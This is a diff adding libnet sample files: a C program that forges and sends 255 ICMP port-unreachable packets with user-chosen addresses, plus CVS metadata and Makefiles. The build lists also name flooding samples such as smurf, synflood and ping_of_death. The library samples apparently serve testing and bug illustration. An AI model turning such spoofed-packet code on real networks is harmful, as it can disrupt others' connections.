+ * Hacked by Aaron Turner <aturner@pobox.com> to illustrate two bugs
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "./libnet_test.h"
+
+int
+main(int argc, char **argv)
+{
+ int c, i;
+ libnet_t *l = NULL;
+ libnet_ptag_t icmp = 0, ip = 0, eth = 0;
+ u_long src_ip, dst_ip;
+ u_char payload[8] = {0x11, 0x11, 0x22, 0x22, 0x00, 0x08, 0xc6, 0xa5};
+ u_long payload_s = 8;
+ int mode = LIBNET_LINK;
+ char errbuf[LIBNET_ERRBUF_SIZE];
+
+ printf("libnet 1.1 packet shaping: ICMP unreachable[link]\n");
+
+ src_ip = 0;
+ dst_ip = 0;
+
+ while((c = getopt(argc, argv, "d:s:r")) != EOF)
+ {
+ switch (c)
+ {
+ case 'd':
+ if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad destination IP address: %s\n", optarg);
+ exit(1);
+ }
+ break;
+ case 's':
+ if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad source IP address: %s\n", optarg);
+ exit(1);
+ }
+ break;
+ case 'r':
+ mode = LIBNET_RAW4;
+ break;
+ }
+ }
+ if (!src_ip || !dst_ip)
+ {
+ usage(argv[0]);
+ exit(EXIT_FAILURE);
+ }
+
+ /*
+ * Initialize the library. Root priviledges are required.
+ */
+ l = libnet_init(
+ mode, /* injection type */
+ NULL, /* network interface */
+ errbuf); /* errbuf */
+
+ if (l == NULL)
+ {
+ fprintf(stderr, "libnet_init() failed: %s", errbuf);
+ exit(EXIT_FAILURE);
+ }
+
+for (i = 1; i <= 255; i ++) {
+ icmp = libnet_build_icmpv4_unreach(
+ ICMP_UNREACH, /* type */
+ ICMP_UNREACH_PORT, /* code */
+ 0, /* checksum */
+ LIBNET_IPV4_H + payload_s, /* o length */
+ IPTOS_LOWDELAY | IPTOS_THROUGHPUT, /* o IP tos */
+ (u_int16_t)i, /* o IP ID */
+ 0, /* o frag */
+ 64, /* o TTL */
+ IPPROTO_UDP, /* o protocol */
+ 0, /* o checksum */
+ dst_ip, /* o source IP */
+ src_ip, /* o destination IP */
+ payload, /* payload */
+ payload_s, /* payload size */
+ l, /* libnet handle */
+ icmp);
+ if (icmp == -1)
+ {
+ fprintf(stderr, "Can't build ICMP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ ip = libnet_build_ipv4(
+ LIBNET_IPV4_H + LIBNET_ICMPV4_UNREACH_H +
+ LIBNET_IPV4_H + payload_s, /* length */
+ IPTOS_LOWDELAY | IPTOS_THROUGHPUT, /* TOS */
+ (u_int16_t)i, /* IP ID */
+ 0, /* IP Frag */
+ 64, /* TTL */
+ IPPROTO_ICMP, /* protocol */
+ 0, /* checksum */
+ src_ip, /* source IP */
+ dst_ip, /* destination IP */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ ip);
+ if (ip == -1)
+ {
+ fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ if (mode == LIBNET_LINK) {
+ eth = libnet_build_ethernet(
+ enet_dst, /* ethernet destination */
+ enet_src, /* ethernet source */
+ ETHERTYPE_IP, /* protocol type */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ eth); /* libnet id */
+
+ if (eth == -1)
+ {
+ fprintf(stderr, "Can't build ethernet header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ }
+ /*
+ * Write it to the wire.
+ */
+ libnet_diag_dump_pblock(l);
+ c = libnet_write(l);
+ if (c == -1)
+ {
+ fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ else
+ {
+ fprintf(stderr, "Wrote %d byte ICMP packet; check the wire.\n", c);
+ }
+}
+ libnet_destroy(l);
+ return (EXIT_SUCCESS);
+bad:
+ libnet_destroy(l);
+ return (EXIT_FAILURE);
+}
+
+
+void
+usage(char *name)
+{
+ fprintf(stderr, "usage: %s [-r] -s source_ip -d destination_ip\n ", name);
+}
+
+/* EOF */
diff --git a/libnet/sample/.icmp_redirect.c.swp b/libnet/sample/.icmp_redirect.c.swp
new file mode 100644
index 0000000..81794fa
--- /dev/null
+++ b/libnet/sample/.icmp_redirect.c.swp
Binary files differ
diff --git a/libnet/sample/CVS/Entries b/libnet/sample/CVS/Entries
new file mode 100644
index 0000000..e58e91e
--- /dev/null
+++ b/libnet/sample/CVS/Entries
@@ -0,0 +1,47 @@
+/bgp4_hdr.c/1.1.1.1/Thu Jun 26 21:55:11 2003//
+/bgp4_notification.c/1.1.1.1/Thu Jun 26 21:55:11 2003//
+/bgp4_open.c/1.1.1.1/Thu Jun 26 21:55:11 2003//
+/bgp4_update.c/1.1.1.1/Thu Jun 26 21:55:11 2003//
+/cdp.c/1.2/Sat Jan 3 20:31:01 2004//
+/dhcp_discover.c/1.3/Sat Jan 3 20:31:01 2004//
+/dns.c/1.2/Wed Sep 10 18:34:14 2003//
+/dot1x.c/1.2/Sat Jan 3 20:31:01 2004//
+/fddi_tcp1.c/1.1.1.1/Thu Jun 26 21:55:11 2003//
+/fddi_tcp2.c/1.1.1.1/Thu Jun 26 21:55:11 2003//
+/get_addr.c/1.3/Sat Jan 3 20:31:01 2004//
+/icmp6_echoreq.c/1.1.1.1/Thu Jun 26 21:55:10 2003//
+/icmp_echo_cq.c/1.3/Sat Jan 3 20:31:01 2004//
+/icmp_timestamp.c/1.2/Sat Jan 3 20:31:01 2004//
+/ieee.c/1.2/Sat Jan 3 20:31:01 2004//
+/ip_link.c/1.1/Sat Jan 3 20:31:01 2004//
+/isl.c/1.2/Sat Jan 3 20:31:01 2004//
+/ospf_hello.c/1.2/Sat Jan 3 20:31:01 2004//
+/ospf_lsa.c/1.2/Sat Jan 3 20:31:01 2004//
+/ping_of_death.c/1.2/Sat Jan 3 20:31:01 2004//
+/rpc_tcp.c/1.2/Sat Jan 3 20:31:01 2004//
+/rpc_udp.c/1.2/Sat Jan 3 20:31:01 2004//
+/smurf.c/1.2/Sat Jan 3 20:31:01 2004//
+/synflood.c/1.1.1.1/Thu Jun 26 21:55:11 2003//
+/synflood6_frag.c/1.1/Sat Jan 3 20:31:01 2004//
+/tftp.c/1.1/Sat Jan 3 20:31:01 2004//
+/tring_tcp1.c/1.1.1.1/Thu Jun 26 21:55:11 2003//
+/tring_tcp2.c/1.1.1.1/Thu Jun 26 21:55:11 2003//
+D/win32////
+/ip_raw.c/1.1/Sat Jan 3 21:20:30 2004//
+/stp.c/1.3/Wed Jan 21 19:01:29 2004//
+/tcp2.c/1.3/Wed Jan 28 19:45:00 2004//
+/libnet_test.h/1.3/Thu Jan 29 21:17:16 2004//
+/ntp.c/1.3/Fri Feb 20 18:53:49 2004//
+/arp.c/1.6/Mon Mar 1 20:26:12 2004//
+/mpls.c/1.3/Mon Mar 1 20:26:12 2004//
+/synflood6.c/1.2/Mon Mar 1 20:26:12 2004//
+/tcp1.c/1.6/Mon Mar 1 20:26:12 2004//
+/udp1.c/1.6/Mon Mar 1 20:26:12 2004//
+/udp2.c/1.6/Mon Mar 1 20:26:12 2004//
+/Makefile.am/1.5/Thu Mar 11 18:50:20 2004//
+/Makefile.in/1.13/Thu Mar 11 18:50:20 2004//
+/sebek.c/1.1/Wed Mar 10 21:15:18 2004//
+/gre.c/1.4/Tue Mar 16 05:10:54 2004//
+/icmp_redirect.c/1.3/Tue Mar 16 18:40:58 2004//
+/icmp_timeexceed.c/1.3/Tue Mar 16 18:40:58 2004//
+/icmp_unreach.c/1.4/Tue Mar 16 18:40:59 2004//
diff --git a/libnet/sample/CVS/Repository b/libnet/sample/CVS/Repository
new file mode 100644
index 0000000..f7ccbef
--- /dev/null
+++ b/libnet/sample/CVS/Repository
@@ -0,0 +1 @@
+/usr/local/CVS/libnet/sample
diff --git a/libnet/sample/CVS/Root b/libnet/sample/CVS/Root
new file mode 100644
index 0000000..52fa133
--- /dev/null
+++ b/libnet/sample/CVS/Root
@@ -0,0 +1 @@
+mike@66.234.207.232:/usr/local/CVS
diff --git a/libnet/sample/Makefile.am b/libnet/sample/Makefile.am
new file mode 100644
index 0000000..407a784
--- /dev/null
+++ b/libnet/sample/Makefile.am
@@ -0,0 +1,63 @@
+# $Id: Makefile.am,v 1.5 2004/03/11 18:50:20 mike Exp $
+#
+# Libnet automake information file
+# Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+# All rights reserved.
+#
+# Process this file with automake to produce a Makefile.in script.
+
+include $(top_srcdir)/Makefile.am.common
+
+noinst_PROGRAMS = arp cdp dhcp_discover get_addr icmp_timestamp icmp_unreach \
+ ieee isl ntp ospf_hello ospf_lsa ping_of_death stp synflood \
+ tcp1 tcp2 udp1 udp2 synflood6 icmp6_echoreq icmp_echo_cq \
+ smurf dot1x dns rpc_tcp rpc_udp mpls icmp_timeexceed \
+ fddi_tcp1 fddi_tcp2 tring_tcp1 tring_tcp2 icmp_redirect \
+ bgp4_hdr bgp4_open bgp4_update bgp4_notification gre \
+ synflood6_frag tftp ip_link ip_raw sebek
+
+arp_SOURCES = arp.c
+cdp_SOURCES = cdp.c
+dot1x_SOURCES = dot1x.c
+dhcp_discover_SOURCES = dhcp_discover.c
+dns_SOURCES = dns.c
+fddi_tcp1_SOURCES = fddi_tcp1.c
+fddi_tcp2_SOURCES = fddi_tcp2.c
+tring_tcp1_SOURCES = tring_tcp1.c
+tring_tcp2_SOURCES = tring_tcp2.c
+get_addr_SOURCES = get_addr.c
+icmp_echo_cq_SOURCES = icmp_echo_cq.c
+icmp_redirect_SOURCES = icmp_redirect.c
+icmp_timestamp_SOURCES = icmp_timestamp.c
+icmp_timeexceed_SOURCES = icmp_timeexceed.c
+icmp_unreach_SOURCES = icmp_unreach.c
+ieee_SOURCES = ieee.c
+isl_SOURCES = isl.c
+ntp_SOURCES = ntp.c
+ospf_hello_SOURCES = ospf_hello.c
+ospf_lsa_SOURCES = ospf_lsa.c
+ping_of_death_SOURCES = ping_of_death.c
+mpls_SOURCES = mpls.c
+rpc_tcp_SOURCES = rpc_tcp.c
+rpc_udp_SOURCES = rpc_udp.c
+stp_SOURCES = stp.c
+synflood_SOURCES = synflood.c
+tcp1_SOURCES = tcp1.c
+tcp2_SOURCES = tcp2.c
+tftp_SOURCES = tftp.c
+udp1_SOURCES = udp1.c
+udp2_SOURCES = udp2.c
+icmp6_echoreq_SOURCES = icmp6_echoreq.c
+smurf_SOURCES = smurf.c
+synflood6_SOURCES = synflood6.c
+synflood6_frag_SOURCES = synflood6_frag.c
+bgp4_hdr_SOURCES = bgp4_hdr.c
+bgp4_open_SOURCES = bgp4_open.c
+bgp4_update_SOURCES = bgp4_update.c
+bgp4_notification_SOURCES = bgp4_notification.c
+gre_SOURCES = gre.c
+ip_raw_SOURCES = ip_raw.c
+ip_link_SOURCES = ip_link.c
+sebek_SOURCES = sebek.c
+
+LDADD = $(top_srcdir)/src/libnet.a
diff --git a/libnet/sample/Makefile.in b/libnet/sample/Makefile.in
new file mode 100644
index 0000000..2909851
--- /dev/null
+++ b/libnet/sample/Makefile.in
@@ -0,0 +1,729 @@
+# Makefile.in generated by automake 1.6.3 from Makefile.am.
+# @configure_input@
+
+# Copyright 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002
+# Free Software Foundation, Inc.
+# This Makefile.in is free software; the Free Software Foundation
+# gives unlimited permission to copy and/or distribute it,
+# with or without modifications, as long as this notice is preserved.
+
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY, to the extent permitted by law; without
+# even the implied warranty of MERCHANTABILITY or FITNESS FOR A
+# PARTICULAR PURPOSE.
+
+@SET_MAKE@
+
+# $Id: Makefile.in,v 1.13 2004/03/11 18:50:20 mike Exp $
+#
+# Libnet automake information file
+# Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+# All rights reserved.
+#
+# Process this file with automake to produce a Makefile.in script.
+
+# $Id: Makefile.in,v 1.13 2004/03/11 18:50:20 mike Exp $
+#
+# Libnet automake information file
+# Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+# All rights reserved.
+#
+SHELL = @SHELL@
+
+srcdir = @srcdir@
+top_srcdir = @top_srcdir@
+VPATH = @srcdir@
+prefix = @prefix@
+exec_prefix = @exec_prefix@
+
+bindir = @bindir@
+sbindir = @sbindir@
+libexecdir = @libexecdir@
+datadir = @datadir@
+sysconfdir = @sysconfdir@
+sharedstatedir = @sharedstatedir@
+localstatedir = @localstatedir@
+libdir = @libdir@
+infodir = @infodir@
+mandir = @mandir@
+includedir = @includedir@
+oldincludedir = /usr/include
+pkgdatadir = $(datadir)/@PACKAGE@
+pkglibdir = $(libdir)/@PACKAGE@
+pkgincludedir = $(includedir)/@PACKAGE@
+top_builddir = ..
+
+ACLOCAL = @ACLOCAL@
+AUTOCONF = @AUTOCONF@
+AUTOMAKE = @AUTOMAKE@
+AUTOHEADER = @AUTOHEADER@
+
+am__cd = CDPATH="$${ZSH_VERSION+.}$(PATH_SEPARATOR)" && cd
+INSTALL = @INSTALL@
+INSTALL_PROGRAM = @INSTALL_PROGRAM@
+INSTALL_DATA = @INSTALL_DATA@
+install_sh_DATA = $(install_sh) -c -m 644
+install_sh_PROGRAM = $(install_sh) -c
+install_sh_SCRIPT = $(install_sh) -c
+INSTALL_SCRIPT = @INSTALL_SCRIPT@
+INSTALL_HEADER = $(INSTALL_DATA)
+transform = @program_transform_name@
+NORMAL_INSTALL = :
+PRE_INSTALL = :
+POST_INSTALL = :
+NORMAL_UNINSTALL = :
+PRE_UNINSTALL = :
+POST_UNINSTALL = :
+build_alias = @build_alias@
+build_triplet = @build@
+host_alias = @host_alias@
+host_triplet = @host@
+target_alias = @target_alias@
+target_triplet = @target@
+
+EXEEXT = @EXEEXT@
+OBJEXT = @OBJEXT@
+PATH_SEPARATOR = @PATH_SEPARATOR@
+ADDITIONAL_LIBS = @ADDITIONAL_LIBS@
+AMTAR = @AMTAR@
+AWK = @AWK@
+CC = @CC@
+DEPDIR = @DEPDIR@
+ENDIANESS = @ENDIANESS@
+HAVE_PACKET_SOCKET = @HAVE_PACKET_SOCKET@
+INSTALL_STRIP_PROGRAM = @INSTALL_STRIP_PROGRAM@
+LIBNET_CONFIG_CFLAGS = @LIBNET_CONFIG_CFLAGS@
+LIBNET_CONFIG_DEFINES = @LIBNET_CONFIG_DEFINES@
+LIBNET_CONFIG_LIBS = @LIBNET_CONFIG_LIBS@
+LIBNET_VERSION = @LIBNET_VERSION@
+MAINT = @MAINT@
+PACKAGE = @PACKAGE@
+RANLIB = @RANLIB@
+STRIP = @STRIP@
+VERSION = @VERSION@
+am__include = @am__include@
+am__quote = @am__quote@
+install_sh = @install_sh@
+
+AUTOMAKE_OPTIONS = foreign no-dependencies
+
+DISTCLEANFILES = *~
+
+noinst_PROGRAMS = arp cdp dhcp_discover get_addr icmp_timestamp icmp_unreach \
+ ieee isl ntp ospf_hello ospf_lsa ping_of_death stp synflood \
+ tcp1 tcp2 udp1 udp2 synflood6 icmp6_echoreq icmp_echo_cq \
+ smurf dot1x dns rpc_tcp rpc_udp mpls icmp_timeexceed \
+ fddi_tcp1 fddi_tcp2 tring_tcp1 tring_tcp2 icmp_redirect \
+ bgp4_hdr bgp4_open bgp4_update bgp4_notification gre \
+ synflood6_frag tftp ip_link ip_raw sebek
+
+
+arp_SOURCES = arp.c
+cdp_SOURCES = cdp.c
+dot1x_SOURCES = dot1x.c
+dhcp_discover_SOURCES = dhcp_discover.c
+dns_SOURCES = dns.c
+fddi_tcp1_SOURCES = fddi_tcp1.c
+fddi_tcp2_SOURCES = fddi_tcp2.c
+tring_tcp1_SOURCES = tring_tcp1.c
+tring_tcp2_SOURCES = tring_tcp2.c
+get_addr_SOURCES = get_addr.c
+icmp_echo_cq_SOURCES = icmp_echo_cq.c
+icmp_redirect_SOURCES = icmp_redirect.c
+icmp_timestamp_SOURCES = icmp_timestamp.c
+icmp_timeexceed_SOURCES = icmp_timeexceed.c
+icmp_unreach_SOURCES = icmp_unreach.c
+ieee_SOURCES = ieee.c
+isl_SOURCES = isl.c
+ntp_SOURCES = ntp.c
+ospf_hello_SOURCES = ospf_hello.c
+ospf_lsa_SOURCES = ospf_lsa.c
+ping_of_death_SOURCES = ping_of_death.c
+mpls_SOURCES = mpls.c
+rpc_tcp_SOURCES = rpc_tcp.c
+rpc_udp_SOURCES = rpc_udp.c
+stp_SOURCES = stp.c
+synflood_SOURCES = synflood.c
+tcp1_SOURCES = tcp1.c
+tcp2_SOURCES = tcp2.c
+tftp_SOURCES = tftp.c
+udp1_SOURCES = udp1.c
+udp2_SOURCES = udp2.c
+icmp6_echoreq_SOURCES = icmp6_echoreq.c
+smurf_SOURCES = smurf.c
+synflood6_SOURCES = synflood6.c
+synflood6_frag_SOURCES = synflood6_frag.c
+bgp4_hdr_SOURCES = bgp4_hdr.c
+bgp4_open_SOURCES = bgp4_open.c
+bgp4_update_SOURCES = bgp4_update.c
+bgp4_notification_SOURCES = bgp4_notification.c
+gre_SOURCES = gre.c
+ip_raw_SOURCES = ip_raw.c
+ip_link_SOURCES = ip_link.c
+sebek_SOURCES = sebek.c
+
+LDADD = $(top_srcdir)/src/libnet.a
+subdir = sample
+mkinstalldirs = $(SHELL) $(top_srcdir)/mkinstalldirs
+CONFIG_HEADER = $(top_builddir)/include/config.h
+CONFIG_CLEAN_FILES =
+noinst_PROGRAMS = arp$(EXEEXT) cdp$(EXEEXT) dhcp_discover$(EXEEXT) \
+ get_addr$(EXEEXT) icmp_timestamp$(EXEEXT) icmp_unreach$(EXEEXT) \
+ ieee$(EXEEXT) isl$(EXEEXT) ntp$(EXEEXT) ospf_hello$(EXEEXT) \
+ ospf_lsa$(EXEEXT) ping_of_death$(EXEEXT) stp$(EXEEXT) \
+ synflood$(EXEEXT) tcp1$(EXEEXT) tcp2$(EXEEXT) udp1$(EXEEXT) \
+ udp2$(EXEEXT) synflood6$(EXEEXT) icmp6_echoreq$(EXEEXT) \
+ icmp_echo_cq$(EXEEXT) smurf$(EXEEXT) dot1x$(EXEEXT) \
+ dns$(EXEEXT) rpc_tcp$(EXEEXT) rpc_udp$(EXEEXT) mpls$(EXEEXT) \
+ icmp_timeexceed$(EXEEXT) fddi_tcp1$(EXEEXT) fddi_tcp2$(EXEEXT) \
+ tring_tcp1$(EXEEXT) tring_tcp2$(EXEEXT) icmp_redirect$(EXEEXT) \
+ bgp4_hdr$(EXEEXT) bgp4_open$(EXEEXT) bgp4_update$(EXEEXT) \
+ bgp4_notification$(EXEEXT) gre$(EXEEXT) synflood6_frag$(EXEEXT) \
+ tftp$(EXEEXT) ip_link$(EXEEXT) ip_raw$(EXEEXT) sebek$(EXEEXT)
+PROGRAMS = $(noinst_PROGRAMS)
+
+am_arp_OBJECTS = arp.$(OBJEXT)
+arp_OBJECTS = $(am_arp_OBJECTS)
+arp_LDADD = $(LDADD)
+arp_DEPENDENCIES = $(top_srcdir)/src/libnet.a
+arp_LDFLAGS =
+am_bgp4_hdr_OBJECTS = bgp4_hdr.$(OBJEXT)
+bgp4_hdr_OBJECTS = $(am_bgp4_hdr_OBJECTS)
+bgp4_hdr_LDADD = $(LDADD)
+bgp4_hdr_DEPENDENCIES = $(top_srcdir)/src/libnet.a
+bgp4_hdr_LDFLAGS =
+am_bgp4_notification_OBJECTS = bgp4_notification.$(OBJEXT)
+bgp4_notification_OBJECTS = $(am_bgp4_notification_OBJECTS)
+bgp4_notification_LDADD = $(LDADD)
+bgp4_notification_DEPENDENCIES = $(top_srcdir)/src/libnet.a
+bgp4_notification_LDFLAGS =
+am_bgp4_open_OBJECTS = bgp4_open.$(OBJEXT)
+bgp4_open_OBJECTS = $(am_bgp4_open_OBJECTS)
+bgp4_open_LDADD = $(LDADD)
+bgp4_open_DEPENDENCIES = $(top_srcdir)/src/libnet.a
+bgp4_open_LDFLAGS =
+am_bgp4_update_OBJECTS = bgp4_update.$(OBJEXT)
+bgp4_update_OBJECTS = $(am_bgp4_update_OBJECTS)
+bgp4_update_LDADD = $(LDADD)
+bgp4_update_DEPENDENCIES = $(top_srcdir)/src/libnet.a
+bgp4_update_LDFLAGS =
+am_cdp_OBJECTS = cdp.$(OBJEXT)
+cdp_OBJECTS = $(am_cdp_OBJECTS)
+cdp_LDADD = $(LDADD)
+cdp_DEPENDENCIES = $(top_srcdir)/src/libnet.a
+cdp_LDFLAGS =
+am_dhcp_discover_OBJECTS = dhcp_discover.$(OBJEXT)
+dhcp_discover_OBJECTS = $(am_dhcp_discover_OBJECTS)
+dhcp_discover_LDADD = $(LDADD)
+dhcp_discover_DEPENDENCIES = $(top_srcdir)/src/libnet.a
+dhcp_discover_LDFLAGS =
+am_dns_OBJECTS = dns.$(OBJEXT)
+dns_OBJECTS = $(am_dns_OBJECTS)
+dns_LDADD = $(LDADD)
+dns_DEPENDENCIES = $(top_srcdir)/src/libnet.a
+dns_LDFLAGS =
+am_dot1x_OBJECTS = dot1x.$(OBJEXT)
+dot1x_OBJECTS = $(am_dot1x_OBJECTS)
+dot1x_LDADD = $(LDADD)
+dot1x_DEPENDENCIES = $(top_srcdir)/src/libnet.a
+dot1x_LDFLAGS =
+am_fddi_tcp1_OBJECTS = fddi_tcp1.$(OBJEXT)
+fddi_tcp1_OBJECTS = $(am_fddi_tcp1_OBJECTS)
+fddi_tcp1_LDADD = $(LDADD)
+fddi_tcp1_DEPENDENCIES = $(top_srcdir)/src/libnet.a
+fddi_tcp1_LDFLAGS =
+am_fddi_tcp2_OBJECTS = fddi_tcp2.$(OBJEXT)
+fddi_tcp2_OBJECTS = $(am_fddi_tcp2_OBJECTS)
+fddi_tcp2_LDADD = $(LDADD)
+fddi_tcp2_DEPENDENCIES = $(top_srcdir)/src/libnet.a
+fddi_tcp2_LDFLAGS =
+am_get_addr_OBJECTS = get_addr.$(OBJEXT)
+get_addr_OBJECTS = $(am_get_addr_OBJECTS)
+get_addr_LDADD = $(LDADD)
+get_addr_DEPENDENCIES = $(top_srcdir)/src/libnet.a
+get_addr_LDFLAGS =
+am_gre_OBJECTS = gre.$(OBJEXT)
+gre_OBJECTS = $(am_gre_OBJECTS)
+gre_LDADD = $(LDADD)
+gre_DEPENDENCIES = $(top_srcdir)/src/libnet.a
+gre_LDFLAGS =
+am_icmp6_echoreq_OBJECTS = icmp6_echoreq.$(OBJEXT)
+icmp6_echoreq_OBJECTS = $(am_icmp6_echoreq_OBJECTS)
+icmp6_echoreq_LDADD = $(LDADD)
+icmp6_echoreq_DEPENDENCIES = $(top_srcdir)/src/libnet.a
+icmp6_echoreq_LDFLAGS =
+am_icmp_echo_cq_OBJECTS = icmp_echo_cq.$(OBJEXT)
+icmp_echo_cq_OBJECTS = $(am_icmp_echo_cq_OBJECTS)
+icmp_echo_cq_LDADD = $(LDADD)
+icmp_echo_cq_DEPENDENCIES = $(top_srcdir)/src/libnet.a
+icmp_echo_cq_LDFLAGS =
+am_icmp_redirect_OBJECTS = icmp_redirect.$(OBJEXT)
+icmp_redirect_OBJECTS = $(am_icmp_redirect_OBJECTS)
+icmp_redirect_LDADD = $(LDADD)
+icmp_redirect_DEPENDENCIES = $(top_srcdir)/src/libnet.a
+icmp_redirect_LDFLAGS =
+am_icmp_timeexceed_OBJECTS = icmp_timeexceed.$(OBJEXT)
+icmp_timeexceed_OBJECTS = $(am_icmp_timeexceed_OBJECTS)
+icmp_timeexceed_LDADD = $(LDADD)
+icmp_timeexceed_DEPENDENCIES = $(top_srcdir)/src/libnet.a
+icmp_timeexceed_LDFLAGS =
+am_icmp_timestamp_OBJECTS = icmp_timestamp.$(OBJEXT)
+icmp_timestamp_OBJECTS = $(am_icmp_timestamp_OBJECTS)
+icmp_timestamp_LDADD = $(LDADD)
+icmp_timestamp_DEPENDENCIES = $(top_srcdir)/src/libnet.a
+icmp_timestamp_LDFLAGS =
+am_icmp_unreach_OBJECTS = icmp_unreach.$(OBJEXT)
+icmp_unreach_OBJECTS = $(am_icmp_unreach_OBJECTS)
+icmp_unreach_LDADD = $(LDADD)
+icmp_unreach_DEPENDENCIES = $(top_srcdir)/src/libnet.a
+icmp_unreach_LDFLAGS =
+am_ieee_OBJECTS = ieee.$(OBJEXT)
+ieee_OBJECTS = $(am_ieee_OBJECTS)
+ieee_LDADD = $(LDADD)
+ieee_DEPENDENCIES = $(top_srcdir)/src/libnet.a
+ieee_LDFLAGS =
+am_ip_link_OBJECTS = ip_link.$(OBJEXT)
+ip_link_OBJECTS = $(am_ip_link_OBJECTS)
+ip_link_LDADD = $(LDADD)
+ip_link_DEPENDENCIES = $(top_srcdir)/src/libnet.a
+ip_link_LDFLAGS =
+am_ip_raw_OBJECTS = ip_raw.$(OBJEXT)
+ip_raw_OBJECTS = $(am_ip_raw_OBJECTS)
+ip_raw_LDADD = $(LDADD)
+ip_raw_DEPENDENCIES = $(top_srcdir)/src/libnet.a
+ip_raw_LDFLAGS =
+am_isl_OBJECTS = isl.$(OBJEXT)
+isl_OBJECTS = $(am_isl_OBJECTS)
+isl_LDADD = $(LDADD)
+isl_DEPENDENCIES = $(top_srcdir)/src/libnet.a
+isl_LDFLAGS =
+am_mpls_OBJECTS = mpls.$(OBJEXT)
+mpls_OBJECTS = $(am_mpls_OBJECTS)
+mpls_LDADD = $(LDADD)
+mpls_DEPENDENCIES = $(top_srcdir)/src/libnet.a
+mpls_LDFLAGS =
+am_ntp_OBJECTS = ntp.$(OBJEXT)
+ntp_OBJECTS = $(am_ntp_OBJECTS)
+ntp_LDADD = $(LDADD)
+ntp_DEPENDENCIES = $(top_srcdir)/src/libnet.a
+ntp_LDFLAGS =
+am_ospf_hello_OBJECTS = ospf_hello.$(OBJEXT)
+ospf_hello_OBJECTS = $(am_ospf_hello_OBJECTS)
+ospf_hello_LDADD = $(LDADD)
+ospf_hello_DEPENDENCIES = $(top_srcdir)/src/libnet.a
+ospf_hello_LDFLAGS =
+am_ospf_lsa_OBJECTS = ospf_lsa.$(OBJEXT)
+ospf_lsa_OBJECTS = $(am_ospf_lsa_OBJECTS)
+ospf_lsa_LDADD = $(LDADD)
+ospf_lsa_DEPENDENCIES = $(top_srcdir)/src/libnet.a
+ospf_lsa_LDFLAGS =
+am_ping_of_death_OBJECTS = ping_of_death.$(OBJEXT)
+ping_of_death_OBJECTS = $(am_ping_of_death_OBJECTS)
+ping_of_death_LDADD = $(LDADD)
+ping_of_death_DEPENDENCIES = $(top_srcdir)/src/libnet.a
+ping_of_death_LDFLAGS =
+am_rpc_tcp_OBJECTS = rpc_tcp.$(OBJEXT)
+rpc_tcp_OBJECTS = $(am_rpc_tcp_OBJECTS)
+rpc_tcp_LDADD = $(LDADD)
+rpc_tcp_DEPENDENCIES = $(top_srcdir)/src/libnet.a
+rpc_tcp_LDFLAGS =
+am_rpc_udp_OBJECTS = rpc_udp.$(OBJEXT)
+rpc_udp_OBJECTS = $(am_rpc_udp_OBJECTS)
+rpc_udp_LDADD = $(LDADD)
+rpc_udp_DEPENDENCIES = $(top_srcdir)/src/libnet.a
+rpc_udp_LDFLAGS =
+am_sebek_OBJECTS = sebek.$(OBJEXT)
+sebek_OBJECTS = $(am_sebek_OBJECTS)
+sebek_LDADD = $(LDADD)
+sebek_DEPENDENCIES = $(top_srcdir)/src/libnet.a
+sebek_LDFLAGS =
+am_smurf_OBJECTS = smurf.$(OBJEXT)
+smurf_OBJECTS = $(am_smurf_OBJECTS)
+smurf_LDADD = $(LDADD)
+smurf_DEPENDENCIES = $(top_srcdir)/src/libnet.a
+smurf_LDFLAGS =
+am_stp_OBJECTS = stp.$(OBJEXT)
+stp_OBJECTS = $(am_stp_OBJECTS)
+stp_LDADD = $(LDADD)
+stp_DEPENDENCIES = $(top_srcdir)/src/libnet.a
+stp_LDFLAGS =
+am_synflood_OBJECTS = synflood.$(OBJEXT)
+synflood_OBJECTS = $(am_synflood_OBJECTS)
+synflood_LDADD = $(LDADD)
+synflood_DEPENDENCIES = $(top_srcdir)/src/libnet.a
+synflood_LDFLAGS =
